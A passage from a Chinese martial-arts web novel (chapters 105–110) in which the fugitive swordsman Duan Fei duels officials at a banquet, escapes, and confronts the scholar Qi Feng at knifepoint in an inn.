段飞闻言,冷笑一声,声音沙哑,语气却带着几分不屑:“袁克良,没想到你这纨绔子弟还有几分眼力,认得你家爷爷,段某行踪隐秘,藏身江湖多年,竟被你们查到这府城来了。也好,省得我再躲躲藏藏!”
他身形挺拔,灰袍下隐约可见腰间一柄乌黑长刀,刀鞘上刻着风纹,透着一股肃杀之气。
袁克良冷哼一声,踏前一步,厉声道:“段飞,你这黑风刀在江湖上作恶多端,三年前洗劫镖局,**三十七口,朝廷悬赏千金缉拿你!没想到你功夫高绝,屡次逃脱追捕,竟还敢大摇大摆出现在这宴会上!看来是完全不把朝廷放在眼里!”
段飞闻言,仰天大笑,笑声中满是轻蔑:“袁克良,你这乳臭未干的小子,也配跟我谈朝廷?段某纵横江湖时,你还在玩你那小鸟呢!不怕告诉你,段某还真就瞧不起你们这群酒囊饭袋!”
他目光一扫,扫过宴会厅内众人,语气陡然一寒:“不是我段飞瞧不起你们,而是这满堂宾客,在我眼里,全是垃圾!”
此言一出
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,厅内哗然,宾客们怒不可遏,纷纷斥骂。
赵明兰拍桌怒道:“好个狂徒!竟敢辱我等,萧大人,快拿下这贼人!”
周子陵也瞪眼道:“这黑风刀好大的口气!当我们府城无人吗?”
陈玉堂和徐远更是摩拳擦掌,跃跃欲试。
袁克良脸色铁青,怒吼一声:“段飞,你找死!”
他猛地拔出腰间佩刀,刀光一闪,身形如箭,脚尖点地,跃上房梁,直扑段飞而去。
刀锋划破夜风,带着凌厉的杀意,宴会厅内的宾客齐齐惊呼,目光紧紧跟随。
房顶上,瓦片在二人脚下咔咔作响,袁克良刀法迅猛,招招直取段飞要害,刀光如匹练,映得夜空一片寒光。
段飞冷笑一声,身形一晃,乌黑长刀出鞘,刀势如狂风席卷,带着一股凌厉的劲气迎上。
两刀相撞,火花四溅,震得房顶瓦片簌簌落下,宾客们惊呼连连,纷纷后退,生怕被殃及。
“铛!铛!铛!”
刀光剑影间,二人身形交错,段飞刀法诡谲,每一刀都带着刁钻的角度,逼得袁克良连连后退。
袁克良虽是袁氏少爷,刀法也算不俗,但在段飞面前却显得捉襟见肘。
他咬牙挥刀,试图以力压人,刀锋直劈段飞肩头,却被段飞侧身一闪,刀尖擦着衣袍而过,险些划破皮肤。
段飞冷笑道:“袁克良,就这点本事,也敢在我面前叫嚣?”
他刀势一转,化守为攻,乌黑长刀如狂风骤雨,逼得袁克良节节败退。
瓦片在二人脚下碎裂,房顶摇摇欲坠,宴会厅内的宾客看得心惊肉跳。
齐枫倚在椅上,折扇轻敲掌心,目光却不时扫向楚清秋。
楚清秋面纱下的眼神微动,回看了楚清秋一眼。
小荷拽着她的袖子,惊慌道:“青禾姐姐,这段飞好厉害!袁克良怕是打不过他!”
赵明德眉头紧锁,沉声道:“萧大人,这段飞功夫如此高强,袁公子只怕不是对手!您为何不出手?”
第一百零五章 激战!
萧无痕手按刀柄,目光如鹰,沉声道:“莫急。袁公子既出手,萧某自会接应。”
房顶上,战况愈发激烈。
袁克良刀法渐乱,额头冷汗涔涔,段飞却越战越勇,刀势如风,逼得袁克良毫无还手之力。
突然,段飞刀锋一转,刀背猛击袁克良胸口,袁克良闷哼一声,身形不稳,脚下瓦片一滑,整个人从房顶摔落,直直砸向宴会厅内。
“砰!”
袁克良摔在桌上,酒盏菜肴四散,宾客们惊呼连连,纷纷后退。
袁克良捂着胸口,脸色惨白,嘴角溢出一丝血迹,刀已脱手,狼狈不堪。
段飞站在房顶,乌黑长刀斜指地面,冷笑道:“袁克良,就你这点本事,还想拿我?痴人说梦!你家爷爷就在这让你一只手再让你30招,你都不是你家爷爷的对手,还是好好练练再来吧!丢人现眼!”
他目光一扫,扫过宴会厅内众人,杀意凛然。
袁克良听着这话,脸色更是惨白如纸,嘴角溢出的血迹在灯光下触目惊心。
他平日里自诩武功高强,袁氏少爷的名头在府城无人不晓,可如今在众目睽睽之下,被黑风刀段飞一招击落房顶,颜面扫地。
袁克良咬牙切齿,挣扎着起身,目光怨毒地瞪向房顶上的段飞,喉间低吼:“段飞,你这贼人!本公子与你不共戴天!”
段飞站在房顶,乌黑长刀斜指地面,冷笑一声:“袁克良,就你这三脚猫的功夫,还和你爷爷不共戴天?!之前府城的人说什么你的武学造诣有多高有多高?在爷爷看来你都是被人吹捧的还能负责天地为何物了?明显就是废物一个!”
这话简直就是**诛心。
袁克良平日里在府城虽说也算是横行霸道,嚣张跋扈,但是他的武学造诣却是众人不得不承认。
袁家也一直就是武学世家,可如今却当着这么多人的面被如此羞辱,偏偏自己刚刚还就是技不如人!
段飞目光扫过宴会厅,杀意凛然,丝毫不将围困的官兵放在眼里。
厅内宾客议论纷纷,窃窃私语声如潮水般涌起。
赵明兰拍桌怒道:“这黑风刀好狂!袁克良虽不是东西,可这贼人竟敢如此嚣张,当真不把府城放在眼里!”
周子陵挠头道:“这段飞果然有几分本事,袁克良刀法不弱,竟被他一招打落,难怪能逃朝廷追捕这么久!”
陈玉堂挤眉弄眼道:“可不是嘛!这家伙刀法诡谲,怕是江湖一流高手,袁克良这回可栽了大跟头,回去怕是要气得砸家了!”
卢正淳捋了捋胡须,沉声对萧无痕道:“萧大人,这段飞功夫高强,袁公子已然不敌,卢某愿上场一试,助大人擒贼!”
他话音未落,已挽起袖袍,脚下微动,似要跃上房顶。
赵明德忙拉住他:“卢大人,稍安勿躁!萧大人乃朝廷命官,武艺高强,自有手段对付此贼!”
他转向萧无痕,拱手道:“萧大人,这黑风刀猖狂至极,还请速速出手,莫让此贼继续嚣张!”
萧无痕目光如鹰,手按圆月弯刀,沉声道:“卢大人,赵大人,诸位稍安。段飞既敢现身,萧某自会让他插翅难飞!”
话音未落,他身形一闪,宛如夜鹰掠空,脚尖轻点桌案,跃上房顶,刀光如月,带着凌厉寒意直扑段飞。
夜色中,房顶瓦片咔咔作响,二人交手快如闪电,刀锋碰撞的火花在黑暗中绽放,宛如流星划破夜空。
“铛!铛!铛!”
兵器交击声不绝于耳,萧无痕的圆月弯刀势如雷霆,每一刀都带着破空之声,招招狠辣,比袁克良还要凶狠。
段飞刀法诡谲,乌黑长刀如狂风席卷,刀势刁钻,几次险些划破萧无痕的衣袍。
宴会厅内,宾客们仰头观战,惊叹声此起彼伏。
“好快的刀!萧大人不愧是朝廷高手,这刀法比袁公子强了不知多少!”
“那段飞也不简单,能与萧大人战到这地步,果然有几分真本事
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!”
“难怪这黑风刀能逃朝廷追捕多年,这身手,怕是江湖少有敌手!”
柳若雪轻摇团扇,站在一旁,目光在房顶二人身上流转,这时突然柔声道:“萧大人刀法如风,段飞虽强,怕也难逃一劫。”
她这话说得轻巧,却引得赵明兰斜了她一眼:“柳姑娘这话说得轻巧,萧大人若真拿不下这贼人,咱们这宴会可就热闹了!”
这话说的没错,要是一个江湖大道明晃晃的来知府的府邸喝酒,就连朝廷派下来的命官都没办法能够拿得住他。
这事传出去,恐怕不仅仅只是在场这些当官的颜面无存,就连朝廷也会颜面无光,更加震怒!
也就是说,这一战萧无痕只许胜不许败。
一旦败了,这余孽也就没有追查下去的必要了,直接卷铺盖回去领罚吧。
房顶上,战况愈发激烈。
萧无痕刀法凌厉,每一招都如狂风骤雨,逼得段飞步步后退。
段飞刀势虽诡,却渐渐落于下风,额头渗出冷汗,灰袍被刀风撕裂数道口子。
他咬牙嘶吼一声:“萧无痕,朝廷的走狗,果然有几分本事!”
他刀法一变,化攻为守,看来是打算觅机脱身了。
萧无痕乘胜追击,冷哼一声,圆月弯刀陡然加速,刀光如匹练,划破夜空,直劈段飞左臂。
“噗!”刀锋划过,血光乍现,段飞左臂被划出一道深可见骨的伤口,鲜血染红灰袍。
他闷哼一声,身形一晃,险些跌落房顶。
段飞咬牙,猛地从腰间摸出一枚暗器,形如飞镖,带着幽蓝寒光,朝萧无痕猛射而去,怒吼道:“老子不陪你们玩了!”
他脚下一点,身形如鬼魅,朝宴会厅外的夜色中掠去,打算逃遁。
“想跑?没那么容易!”萧无痕刀锋一转,劈飞暗器,身形如影随形,追向段飞。
夜风呼啸,二人身影在房顶间一闪而逝,宴会厅内的宾客们惊呼连连,目光紧紧跟随。
第一百零六章 落井下石
萧无痕与段飞的身影很快便消失在宴会厅外的茫茫夜色中。
宴会厅内的宾客们仰头张望,惊呼声渐渐平息,只剩一片窃窃私语。
官兵们依旧守在厅外,气氛却从方才的剑拔**张转为一种诡异的安静。
袁克良捂着胸口,艰难地从碎裂的桌面上爬起,脸色惨白,嘴角的血迹尚未擦去,狼狈不堪。
他手中长刀早已脱手,摔落在地,刀刃上沾了些许酒渍,映着灯火,显得格外刺眼。
厅内宾客的目光不时扫向他,有的带着嘲讽,有的带着怜悯,更多的则是幸灾乐祸。
赵明兰第一个忍不住,双手环胸,斜眼瞥着袁克良,冷笑一声:“哟,袁大少爷,这不是一向自诩府城第一刀的袁公子吗?怎么着,方才那黑风刀段飞一招就把你打得满地找牙?这脸丢得可够大的!还袁氏武学世家呢,我看你是把袁家的脸都丢尽了!”
她这话毫不留情,还带着几分刻薄,引得周围几名宾客都忍不住笑出声。
袁克良闻言,脸色由白转青,猛地抬头,眼中燃起怒火,咬牙道:“赵明兰,你少在这儿落井下石!段飞那贼人不过是仗着刀法诡谲,偷袭得手罢了!若我再与他交手,定让他好看!”
“偷袭?”赵明兰嗤笑一声,抱着手臂,上下打量袁克良,“袁公子,你这话可真有意思。方才你可是自己跳上房顶,刀刀直取人家要害,哪来的偷袭?结果呢?还没三招,就被人家一刀背拍下来,摔得跟狗啃泥似的!这要是偷袭,那你这袁氏少爷的武艺可真是名不虚传啊!”
厅内又是一阵低笑,宾客们交头接耳,议论声如潮水般涌起。
有人小声道:“可不是嘛,袁克良平日里吹嘘自己刀法如何了得,今日在黑风刀面前,连人家一招都接不住,真是丢人现眼!”
周子陵端着酒盏,慢悠悠凑到袁克良身旁,笑眯眯道:“袁兄啊,平日里你不是总说自己刀法无双,府城无人能敌吗?怎么今儿个在这黑风刀面前,连刀都握不住了?这要是传出去,袁氏武学世家的名头,怕是要被你砸得稀烂喽!”
他这话虽带着笑意,却字字如刀,直戳袁克良心头。
袁克良气得浑身发抖,猛地一拍桌子,怒吼道:“周子陵,你算什么东西,也配在这儿嘲笑我?!我袁克良好歹是袁氏嫡子,轮得到你这酸儒在这儿指手画脚?”
“酸儒?”周子陵挑眉,哈哈一笑,“袁公子,你这话可不地道。咱们这些读书人,靠的是笔杆子吃饭,可不像你,仗着袁氏的名头四处招摇。结果呢?招摇到黑风刀面前,人家一刀就把你打回原形!我看你这袁氏嫡子,还是回去多练几年刀法吧,省得再出来丢人!”
陈玉堂挤眉弄眼,凑过来插话道:“就是!袁公子,你说你好歹也是府城有头有脸的人物,怎的今儿个这么不争气?方才那段飞可是说了,满堂宾客在他眼里都是垃圾,你这袁氏少爷,怕是连垃圾都不如吧?哈哈!”
徐远也在一旁煽风点火,端着酒盏晃悠悠道:“袁兄,咱也不说别的,你这刀法跟段飞比,差得可不是一星半点。方才你摔下来那一下,我看着都替你疼!袁氏武学世家的名头,今儿个算是让你给败光了!”
什么叫落井下石,墙倒众人推,这就是!
袁克良被众人你一言我一语挤兑得脸色铁青,拳头攥得咯咯作响,恨不得当场发作。
他猛地抬头,目光怨毒地扫过赵明兰,周子陵等人,咬牙切齿道:“你们……你们这群乌合之众!若不是段飞那贼人使诈,我岂会如此狼狈?你们等着瞧,我袁克良迟早要让那段飞跪地求饶!”
“哟,还嘴硬呢?”赵明兰冷笑一声,双手叉腰毫不客气道,“袁克良,你也别在这儿吹牛了。方才你那三脚猫的刀法,府城谁人不知?还让段飞跪地求饶?你先从桌上爬起来再说吧!瞧瞧你那模样,摔得跟个破麻袋
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似的,还袁氏少爷呢,我看是袁氏笑话还差不多!”
厅内宾客哄笑出声,笑声如刀,刺得袁克良脸上一阵红一阵白。
他猛地一拍桌子,站起身来,怒声道:“赵明兰,你别太过分!本公子今日不过一时失手,你们这群人,哪个有胆子上去跟段飞过两招?一个个在这儿说风凉话,有本事你们上啊!”
周子陵哈哈一笑,摆手道:“袁兄,你这话可没道理。咱们是读书人,舞文弄墨是本行,舞刀弄枪那是你的活儿。你这袁氏少爷都栽了跟头,咱们上去不是送菜吗?不过话说回来,刚才那一幕确实挺搞笑的,哈哈!”
陈玉堂拍手附和:“可不是嘛!袁公子,你方才摔那一下,桌上的酒盏都跟着遭殃了!我看你这刀法没练成,摔桌的本事倒是一流!”
袁克良被众人围着嘲讽,气得胸口起伏,眼中几乎要喷出火来。
他猛地指向赵明兰,怒吼道:“赵明兰,你个泼妇,少在这儿嚣张!本公子今日失手,来日定要你们好看!”
“泼妇?”赵明兰瞪眼,拍桌而起,气势丝毫不输,“袁克良,你嘴放干净点!本姑娘好歹是赵氏千金,轮得到你在这儿指指点点?就你这德行,还想让本姑娘好看?呸!先照照镜子,看看你那副猪头样吧!”
周子陵连忙拉住赵明兰,笑眯眯道:“明兰姑娘,消消气,袁公子这会儿怕是气糊涂了。你跟他计较,平白拉低了自己的身份。咱们还是喝酒看戏,瞧瞧萧大人能不能把那段飞抓回来!”
陈玉堂也劝道:“就是!袁公子这会儿是急红了眼,咱不跟他一般见识。来来来,喝酒喝酒,这宴会还没散呢!”
徐远举杯附和:“对对对,喝酒!袁兄,你也别生气了,摔一跤算什么?回去练练刀法,下回再跟段飞打过,找回场子就是!”
袁克良被众人轮番挤兑,气得几乎要吐血,却偏偏找不到反驳的余地,脸都绿了。
第一百零七章 封锁城门!
他方才在段飞手下败得太惨,众目睽睽之下,连刀都握不住,如今再怎么嘴硬,也不过是自取其辱。
他狠狠瞪了赵明兰、周子陵等人一眼,咬牙道:“你们……你们等着!本公子今日之辱,他日定要百倍奉还!”
赵明兰嗤笑一声,摆手道:“行啊,本姑娘等着瞧!不过你可得先把胸口的血擦干净,别站这儿丢人了!”
袁克良低头一看,胸前衣襟上果然沾满了血迹,方才被段飞刀背击中,内伤不轻,此刻被赵明兰点破,更是羞愤难当。
他猛地一甩袖子,转身就要离开,却被一名官兵拦住:“袁公子,萧大人有令,宴会厅任何人不得擅自离开!”
袁克良气得一滞,狠狠瞪了那官兵一眼,却不敢违抗萧无痕的命令,只能悻悻回到原位,坐下后低头擦拭衣襟上的血迹,眼中满是怨毒。
厅内宾客见状,议论声愈发热烈。
“袁克良这回可真是栽了大跟头,平日里多嚣张,今儿个被段飞一刀打得满地爬,哈哈,真是大快人心!”
另一人附和道:“可不是嘛!他平日里仗着袁氏的名头,四处欺压人,这回总算踢到铁板了!那段飞虽是重犯,可这身手,真是了得!”
齐枫倚在椅上,嘴角笑意更深,却并未开口。
他端起酒盏,慢悠悠抿了一口,目光扫过厅内众人,观察每个人的神色。
赵明德眉头紧锁,沉声道:“诸位,宴会尚未结束,萧大人既去追那段飞,想必很快会有结果。咱们且安心饮酒,等萧大人归来再作打算。”
卢正淳捋了捋胡须,点头道:“赵大人说得是。萧大人武艺高强,那段飞虽有些本事,也难逃朝廷的追捕。诸位莫要慌乱,且继续饮宴。”
宾客们闻言,纷纷举杯,宴会厅内的气氛稍稍缓和,但众人心中仍有一丝不安。
段飞的突然出现与逃遁,让这场庆功宴蒙上了一层阴影,萧无痕的追查目的尚未明朗,也让众人猜测不已。
就在此时,厅外传来一阵急促的脚步声,众人齐齐转头望去。
只见萧无痕手按圆月弯刀,步伐沉稳地走了进来,灰袍上沾了几点血迹,刀鞘上的寒光映着灯火。
众人心头一凛,宾客们见他归来,纷纷放下酒盏,迫不及待地围了上去,七嘴八舌地询问。
“萧大人!那黑风刀段飞如何了?可是被您斩于刀下?”周子陵挤到最前,眼中满是好奇。
“是啊,萧大人,您方才追出去,那段飞可是朝廷重犯,到底抓到没有?”陈玉堂紧随其后,一脸急切。
赵明兰双手环胸,斜眼瞥向袁克良,冷哼道:“哼,袁公子方才还吹嘘要让段飞跪地求饶,结果自己先摔了个狗啃泥,萧大人可别像他一样空手而归!”
赵明德瞪了她一眼,摇了摇头。
袁克良站在一旁,脸色铁青,胸前血迹尚未干透,闻言狠狠瞪了赵明兰一眼,却不敢出声反驳。
萧无痕目光扫过众人,脸色阴沉如水,沉声道:“诸位,段飞那贼人狡猾异常,萧某本已将其逼入绝境,刀锋划破其左臂,伤势不轻。谁知此人藏有新式暗器,形如飞镖,淬有迷烟,趁乱迷了萧某双眼,方才侥幸逃脱!”
此言一出,厅内哗然,宾客们面面相觑,议论声如潮水般涌起。
“什么?段飞竟跑了?”一名宾客惊呼,脸上带着几分不安,“那可是朝廷重犯,刀法如此高强,若在府城内潜藏,怕是要生乱子!”
“新式暗器?迷烟?这黑风刀果然不简单,连萧大人都着了道!”另一人皱眉道。
周子陵挠头道:“萧大人,那段飞既受了伤,又被您追得无路可逃,怎的还能跑了?这府城里若是让他躲起来,咱们可不得安宁了!”
陈玉堂也附和道:“可不是嘛!段飞那贼人方才口出狂言,说咱们满堂宾客都是垃圾,这要是让他跑了,回头报复起来,府城还不得鸡犬不宁?”
厅内气
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氛陡然紧张,宾客们的窃窃私语中透着不安,有人甚至开始四下张望,像是怕那段飞突然从某个角落窜出。
赵明德眉头紧锁,沉声道:“萧大人,段飞既是朝廷重犯,又在宴会上公然挑衅,此人逃遁,恐对府城不利。您可有应对之策?”
卢正淳捋了捋胡须,缓缓道:“赵大人说得是,萧大人,段飞刀法高强,又有暗器傍身,若藏匿于市井之中,定是个大祸患。还请大人速速部署,封锁城门,彻查全城!”
萧无痕目光微眯,沉声道:“两位大人放心,萧某已命人封锁城门,布下天罗地网,段飞纵有通天之能,也难逃府城!他左臂重伤,行动不便,萧某定会将其揪出!”
就在众人议论纷纷之际,齐枫倚在椅上,懒洋洋起身,笑道:“诸位何必惊慌?段飞虽侥幸逃脱,但在萧大人刀下已受重伤,左臂几乎废了,哪还有余力在府城兴风作浪?依齐某看,他此刻怕是躲在哪个角落舔伤去了,诸位只管安心饮宴便是!”
他这话说得轻松,也让厅内紧张的气氛缓和了几分。
宾客们闻言,纷纷点头,有人小声道:“齐公子说得有理,段飞既受了重伤,定不敢再冒头。”
赵明德哈哈一笑,举杯道:“齐贤弟说得好!段飞那贼人不过是丧家之犬,萧大人神勇无双,定能将其擒拿!诸位莫要自乱阵脚,且继续饮宴,庆贺齐贤弟榜首之喜!”
卢正淳也点头道:“正是,段飞虽逃,萧大人已有部署,府城有官兵巡守,断不会让那贼人放肆。诸位安心便是!”
宾客们纷纷举杯,酒盏碰撞声再次响起,宴会厅内的气氛稍稍回暖,但众人心中仍有一丝不安萦绕。
萧无痕目光扫过全场,朝赵明德与卢正淳拱手道:“赵大人,卢大人,宴会既已至此,萧某还要追查段飞行踪,便先告辞了。”
他顿了顿,转头看向袁克良,沉声道:“袁公子,随我去部署搜捕之事。”
第一百零八章 最危险的最安全
袁克良闻言,脸色一僵,似有些不情愿,但碍于萧无痕的威势,只能低头应道:“是,萧大人。”
他狠狠瞪了齐枫与赵明兰一眼,拂袖跟上萧无痕。
萧无痕与袁克良的身影很快消失在厅外,官兵们也随之撤去大半,宴会厅内的气氛彻底松弛下来。
宾客们三三两两散去,有人继续饮酒,有人则低声议论着方才的惊变。
赵明德与卢正淳招呼众人继续饮宴,但宴会已无方才的热闹,宾客们陆陆续续告辞离去。
齐枫,楚清秋,小荷,赵明兰,周子陵等人也起身,准备返回客栈。
夜色深沉,微凉的夜风吹过,带着几分萧瑟。
齐枫一行人缓步而行,赵明兰双手环胸,走在最前,冷哼一声道:“今儿个袁克良那家伙真是丢脸丢到家了!平日里嚣张跋扈,吹嘘自己刀法如何了得,结果在段飞面前,连一招都接不住,摔得跟破麻袋似的,真是大快人心!”
小荷拽着楚清秋的袖子,忍不住道:“可不是嘛!青禾姐姐,你没见袁克良摔下来那一下,桌上酒盏都碎了一地!他还好意思瞪我们,哼,真是活该!”
楚清秋轻抚小荷的脑袋,柔声道:“小荷,莫要幸灾乐祸,袁克良虽行事张扬,但今日之辱,我们也应该要记住,不可小看任何一个人。”
赵明兰闻言,斜眼道:“青禾,你可真会替人说话!袁克良那家伙,平日里仗着袁氏的名头,四处欺压人,买通阿福污蔑齐公子的事还没完呢!今儿他自己踢到铁板,活该被段飞打得满地找牙!这叫什么?过河拆桥,自作自受!”
周子陵端着折扇,笑眯眯道:“明兰说得对。袁克良平日里眼高于顶,府城谁不知道他那点德行?若不是他自己非要跳上房顶跟段飞硬碰硬,哪会落得如此下场?这回怕是要气得砸家了!”
陈玉堂挤眉弄眼,插话道:“可不是嘛!袁氏武学世家的名头,今儿个算是让他败得干干净净!回去怕是得闭门练个十年刀法,才能洗刷这耻辱!”
徐远也乐不可支道:“我看袁克良这回是真没脸见人了,方才他还想跟萧大人一起去追段飞,结果被萧大人一句话就打发回来了,哈哈,瞧他那脸色,跟吃了苍蝇似的!”
齐枫折扇轻摇,笑道:“诸位,袁公子今日不过是一时失手,咱也不必太过苛责,毕竟段飞那黑风刀,刀法诡谲,连萧大人都一时失手,袁公子栽个跟头,也算正常。”
赵明兰瞪了他一眼,哼道:“齐公子,你可真是好心肠!袁克良那家伙三番五次针对你,你还替他说话?我看你是春闱榜首当得太舒服,心都软了!”
周子陵哈哈一笑,拍了拍齐枫的肩膀:“齐兄,说真的,袁克良这回栽得太惨,怕是短时间内不敢再来招惹你了。”
一行人说笑着,很快来到客栈所在的街巷。
小荷蹦蹦跳跳地走在楚清秋身旁,忍不住道:“青禾姐姐,今晚这宴会可真热闹!先是袁克良摔了个大跟头,又是段飞那贼人跑了,萧大人追出去也没抓到,真是比戏文还精彩!”
楚清秋轻笑一声,柔声道:“小荷,宴会虽热闹,但也乱了规矩。咱们早些回去歇息,你这小脑袋瓜不要多想了。”
赵明兰摆手道:“青禾,你就别老这么稳重了!今晚袁克良那狼狈样,我瞧着就解气!下回他再敢挑事,本姑娘第一个不放过他!”
周子陵也点头道:“就是,不过齐兄,依你看,萧大人能抓到那段飞吗?”
齐枫笑而不语,众人一路说笑,很快来到客栈门前。
赵明兰,周子陵等人告辞离去,齐枫带着楚清秋与小荷踏入客栈,准备回房歇息。
客栈内灯火昏暗,伙计们早已歇下,只剩几盏油灯在柜台旁摇曳。
齐枫走在最前,楚清秋与小荷跟在身后,小荷还在小声嘀咕着宴会上的趣事,两人都相继回了房。
就在齐枫推开房门,踏入房间
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的一瞬,一股寒意突然从背后袭来。
一道冰冷的刀锋悄无声息地抵住了他的后背,刀尖透着刺骨的凉意,紧贴着他的衣袍。
齐枫脚步一顿,折扇停在半空,嘴角却缓缓勾起一抹笑意。
身后之人低声喝道:“别动!”
齐枫笑了笑轻声道:“段飞,果然好本事,好胆识!全城尚未完全封锁,你不趁机逃出城去,竟还敢潜入我这客栈房间,真是出人意料。”
身后之人闻言,刀锋微微一颤,似是没想到齐枫如此镇定,更没想到他一口叫破自己的身份。
刀尖缓缓挪开少许,杀意却未减。
齐枫徐徐转身,目光落在眼前之人身上,正是那黑风刀段飞。段飞灰袍破损,左臂上裹着粗糙的布条,血迹渗出,脸色苍白,额头冷汗涔涔,显然伤势不轻。
他的右手紧握乌黑长刀,刀锋依旧抵在齐枫身前,眼中透着几分警惕,狠厉。
段飞冷冷盯着齐枫,沙哑道:“齐枫,春闱榜首,果然有些门道。连我这行踪都能猜到,倒是小瞧了你。”
他顿了顿,刀锋微微前移,贴近齐枫胸口,沉声道:“不过你最好老实点,若敢声张,段某保证,在任何人赶来救你之前,这刀定先割破你的喉咙!”
齐枫闻言,哈哈一笑,折扇轻敲掌心,一脸轻松:“段兄多虑了。齐某既无意声张,也没那个必要。府城如今风声鹤唳,萧大人正带人四处搜捕,你却选了我这房间藏身,倒是让齐某有些好奇,段飞,你为何偏偏挑中了我这地方?”
段飞冷哼一声,捂着左臂的伤口,血迹从布条间渗出,染红了灰袍。
他倚在墙边,刀锋依旧不离齐枫,沉声道:“齐枫,你莫要揣着明白装糊涂。段某纵横江湖多年,最危险的地方便是最安全的!如今全城封锁,城门守卫森严,段某若贸然出城,怕是正中萧无痕那狗官的埋伏。你这新晋榜首的房间,谁会想到来搜查?更何况……”
第一百零九章 剑拔**张
段飞目光一闪,带着几分狡黠,“段某听闻你近日被袁克良那小子污蔑,与乾国余孽的案子扯上关系,闹得沸沸扬扬。如今萧无痕忙着追查我这朝廷重犯,谁会再来怀疑你?藏在你这儿,富贵险中求,段某赌的就是这一手!”
齐枫闻言,目光微动,折扇忽地啪地一声合上,拍了拍手掌,笑道:“好一个段飞!能在朝廷追捕下逃亡多年,果然有几分真本事。这份胆识与定力,绝非一般人能有。段兄,你这算盘打得倒是精妙!”
段飞闻言,冷笑一声,刀锋微微下压,眼中闪过一丝复杂的神色:“齐枫,你也别在这儿装腔作势。段某听过你的名头,青田县的纨绔子弟,仗着几分小聪明,四处惹是生非。谁知你转眼考上秀才,还一举夺得春闱榜首!哼,像你这样的人,怕也是一直在伪装,藏得够深!说吧,你到底有何目的?”
齐枫挑眉,折扇轻点下巴,笑而不语,眼中却闪过一抹意味深长的光芒。
他并未直接回应,而是慢悠悠道:“段兄过奖了。齐某不过一介书生,侥幸考个功名,哪有什么深藏不露?倒是段兄,刀法诡谲,胆识过人,连萧大人都拿你不下,齐某佩服得很。”
段飞冷哼一声,捂着伤口的手微微收紧,血迹顺着指缝滴落,染红了地板。
他咬牙道:“少来这套虚的!齐枫,你最好老实配合,段某的刀可不长眼。若你敢耍花样,休怪我手下无情!”
齐枫目光扫过段飞的伤口,嘴角笑意更深,缓缓道:“段兄放心,齐某既非莽夫,也无意与你为敌。你既选了我这房间藏身,齐某便当个东道主,陪你聊聊便是。”
就在此时,房门突然传来一阵轻叩声,小荷清脆的声音从门外传来:“齐公子?青禾姐姐让我来问问,你可歇下了?今晚宴会的事儿,我还有些话想说呢!”
话音未落,段飞眼中寒光一闪,身形猛地前扑,乌黑长刀瞬间抵住齐枫的咽喉,刀锋贴着皮肤,透出一丝刺痛。
段飞低声喝道:“不许出声!否则我这刀可不认人!”
齐枫目光微眯,嘴角却依旧挂着笑意,低声道:“段兄莫慌,小荷不过是个小丫头,齐某自会应付。”
他顿了顿,扬声道:“小荷,本少爷有些乏了,今日宴会之事,明日再说吧。你先回去歇着,不要吵了青禾。”
门外的小荷似有些不甘,嘀咕道:“好吧,少爷,那你早些歇息,我先回去了!”
脚步声渐渐远去,房间内重新陷入一片死寂。
段飞目光如刀,死死盯着齐枫,刀锋却未挪开半分。
他低声道:“齐枫,你倒有些胆量。换作旁人,怕是早就吓得腿软了。”
齐枫哈哈一笑,慢悠悠道:“段兄谬赞了。齐某不过一介书生,面对你这黑风刀,哪敢不老实?只是……”
他目光一闪,“段兄这伤势可不轻,若不早些处理,怕是撑不了多久。齐某好歹懂些医术,不如帮你看看?”
段飞冷笑一声,刀锋微微一压,沉声道:“少来这套!齐枫,你若想活命,就老老实实配合,休想耍花招!段某的伤,自有办法处理,用不着你操心!”
齐枫挑眉,笑而不语,目光却扫向段飞左臂的伤口。
布条已被鲜血浸透,滴滴答答落在地板上,触目惊心。
段飞虽强撑着气势,但额头冷汗不断,气息渐显紊乱,显然伤势已影响到他的行动。
房间内的气氛剑拔**张,灯火摇曳,映得二人的身影在墙上拉出长长的影子。
齐枫似毫不在意喉前的刀锋,眼中却闪过一丝深邃的光芒。
段飞紧握长刀,目光如鹰,也在揣摩齐枫的意图,二人对峙间,一股无形的压力弥漫开来。
段飞咬牙道:“齐枫,段某既敢来你这房间,便没打算空手而归。你若识相,便老老实实听话,否则……”
他刀锋一转,寒光闪过,贴着齐枫的脖颈划出一道浅浅的血痕,“这刀可不认人!”
齐枫目光微动,笑道:“段兄
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何必如此?齐某既无意与你为敌,也不想节外生枝。你既选了我这地方藏身,齐某便给你几分薄面。你说,接下来你打算如何?在齐某这房间躲一辈子?”
段飞冷哼一声:“齐枫,你少来套我话!段某自有打算,你只管老实待着,别坏了段某的大事!”
齐枫闻言,折扇轻点下巴,笑道:“段兄好气魄!不过齐某提醒一句,萧大人此刻正带人全城搜捕,你这伤势若不处理,怕是连今晚都熬不过去。齐某好心劝你一句,不如先包扎伤口,再谈其他,如何?”
段飞目光一闪,似在衡量齐枫的话,刀锋却依旧不离齐枫咽喉。
他冷声道:“齐枫,你这嘴皮子倒是利索。段某纵横江湖多年,什么样的场面没见过?你这点小聪明,休想糊弄我!”
齐枫哈哈一笑,折扇一合,慢悠悠道:“段兄多虑了,我只是觉得你这血流得可不少,再拖下去,怕是要晕在这儿了。到时候萧大人带人冲进来,段兄可就真插翅难飞了。”
段飞闻言,脸色微变,目光扫向自己的左臂,血迹已染红了大半衣袖。
他咬牙低骂一声,刀锋却依旧不放松:“你少在这儿装好人!你只管闭嘴,免得惹祸上身!”
齐枫挑眉,笑意更深:“段兄好硬气!不过齐某还是那句话,你既选了我这房间藏身,齐某便当个东道主,陪你耗着便是。只是这刀抵着脖子,聊起来总归不舒服,不如段兄先收了刀,咱们好好谈谈?”
段飞冷笑一声,眼中闪过一丝犹豫,但刀锋依旧未动。
他正要开口,门外突然又传来一阵轻微的脚步声,似有人在走廊间走动。
段飞目光一凛,刀锋猛地贴紧齐枫咽喉,低喝道:“谁?!”
齐枫目光微动,摇头道:“段兄莫慌,许是客栈的伙计。段兄若不想暴露行踪,最好收敛几分杀气,免得引人注意。”
段飞咬牙,刀锋微微一松,但依旧抵在齐枫咽喉。
房间内的气氛愈发紧张。
第一百一十章 暗藏杀机
门外轻微的脚步声渐远,似乎是客栈伙计走过,房间内重新陷入死寂。
段飞目光如鹰,紧盯着齐枫,额头冷汗涔涔。
齐枫目光再度扫过段飞的伤口,缓缓道:“段兄,本少爷观你这伤势,可不止左臂这一处刀伤吧?若我没猜错,你胸口怕是还中了一记暗劲,气息不稳,怕是萧大人的刀气暗藏其中,伤得不轻啊。”
段飞闻言,瞳孔猛地一缩,眼中闪过一丝震惊,刀锋不由自主地颤了颤。
